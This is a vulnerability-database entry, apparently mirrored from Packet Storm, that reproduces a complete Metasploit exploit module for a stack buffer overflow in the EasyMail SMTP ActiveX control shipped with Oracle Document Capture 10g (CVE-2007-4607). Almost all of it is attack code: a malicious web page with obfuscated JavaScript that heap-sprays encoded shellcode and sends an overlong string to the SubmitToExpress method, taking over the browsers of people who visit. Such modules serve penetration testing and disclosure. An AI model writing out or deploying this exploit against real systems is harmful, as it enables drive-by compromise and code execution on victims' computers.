Search...

Oracle Document Capture 10g ActiveX Control Buffer Overflow

2009-12-31T00:00:00
ID PACKETSTORM:84575
Type packetstorm
Reporter MC
Modified 2009-12-31T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Oracle Document Capture 10g (10.1.3.5.0).  
Oracle Document Capture 10g comes bundled with a third party ActiveX control  
emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"  
an attacker may be able to execute arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision: 7724 $',  
'References' =>   
[  
[ 'CVE', '2007-4607' ],  
[ 'OSVDB', '38335' ],  
[ 'BID', '25467' ],  
[ 'US-CERT-VU', '281977' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]   
],  
'DisclosureDate' => 'Aug 28 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# fluff..  
fluff = rand_text_english(rand(20) + 1)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
js = %Q|  
try {  
var evil_string = "";  
var index;  
var vulnerable = new ActiveXObject('EasyMail.SMTP.6');  
var my_unescape = unescape;  
var shellcode = '#{shellcode}';  
#{js_heap_spray}  
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);  
for (index = 0; index < 12500; index++) {  
evil_string = evil_string + my_unescape('%0a%0a%0a%0a');  
}  
vulnerable.SubmitToExpress(evil_string);  
} catch( e ) { window.location = 'about:blank' ; }  
|  
  
opts = {  
'Strings' => true,  
'Symbols' => {  
'Variables' => [   
'vulnerable',  
'shellcode',  
'my_unescape',  
'index',  
'evil_string',  
]  
}  
}  
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  
js.update_opts(js_heap_spray.opts)  
js.obfuscate()  
content = %Q|  
<html>  
<body>  
<script><!--  
#{js}  
//</script>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by